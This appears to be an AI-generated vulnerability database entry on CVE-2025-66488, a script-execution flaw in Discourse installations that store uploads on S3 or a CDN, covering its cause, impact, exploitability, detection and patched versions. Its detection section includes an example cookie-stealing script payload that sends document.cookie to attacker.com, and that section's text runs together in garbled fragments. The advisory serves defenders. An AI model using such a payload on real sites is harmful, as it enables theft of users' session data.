
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-66488 is a script execution vulnerability in Discourse, the open-source discussion platform, affecting installations that use Amazon S3 (or a CDN) for file uploads. When HTML or XML files are uploaded and served from the S3/CDN domain, embedded scripts can be executed in the browser — but only within the context of the S3/CDN domain, not the Discourse site itself, meaning no site credentials are exposed. The vulnerability was published on January 28, 2026, and affects all Discourse versions prior to 3.5.4 (stable), 2025.11.2, 2025.12.1, and 2026.1.0. It carries a CVSS v3.1 base score of 6.1 (Medium) per NVD, or 4.6 (Moderate) per the GitHub Security Advisory (GitHub Advisory, Red Hat CVE).
The root cause is classified as CWE-116 (Improper Encoding or Escaping of Output): Discourse does not sufficiently restrict or sanitize HTML and XML files uploaded to S3-backed storage, allowing those files to be served with content types that browsers will render and execute as active content. An attacker who can upload files to a Discourse instance (requiring low privileges) can craft a malicious HTML or XML file containing JavaScript; when a victim visits the direct S3/CDN URL for that file, the script executes in the browser under the S3/CDN domain's origin. Because the execution context is the S3/CDN domain rather than the Discourse application domain, the attacker cannot access Discourse session cookies or site credentials, limiting the impact to the storage domain's origin (GitHub Advisory).
Successful exploitation allows script execution in the context of the S3 or CDN domain, which can lead to limited confidentiality and integrity impacts within that domain's origin — such as reading data accessible at the S3/CDN origin or performing actions on behalf of the victim within that context. Because no Discourse site credentials are exposed and the scope does not change to the main application domain, the risk of full account takeover or lateral movement within the Discourse platform is low. The primary concern is cross-zone scripting (CAPEC-104) and potential abuse of user-controlled filenames (CAPEC-73) to deliver malicious content to other users (GitHub Advisory, Red Hat CVE).
No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2025-66488. The EPSS score is approximately 0.033% (0.000330), indicating a very low probability of exploitation in the near term. The vulnerability requires an authenticated attacker (low privileges) and user interaction (a victim must visit the S3/CDN-hosted file URL), further reducing practical exploitability. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory, Red Hat CVE).
<script>fetch('https://attacker.com/?c='+document.cookie)</script>)..html or .xml files in the Discourse S3 uploads bucket that contain <script> tags or JavaScript event handlers..html or .xml objects in the uploads bucket from multiple distinct IP addresses.authorized_extensions was not restricted (GitHub Advisory).Discourse has released patched versions that address this vulnerability: 3.5.4 (stable), 2025.11.2, 2025.12.1, and 2026.1.0. Administrators should upgrade to one of these versions as the primary remediation. As an immediate workaround, site owners should remove html and xml from the authorized_extensions setting in Discourse admin to prevent future uploads of these file types; existing HTML/XML uploads should be reviewed and deleted if suspicious. Discourse Cloud (hosted) instances are managed by the vendor and receive patches automatically (GitHub Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."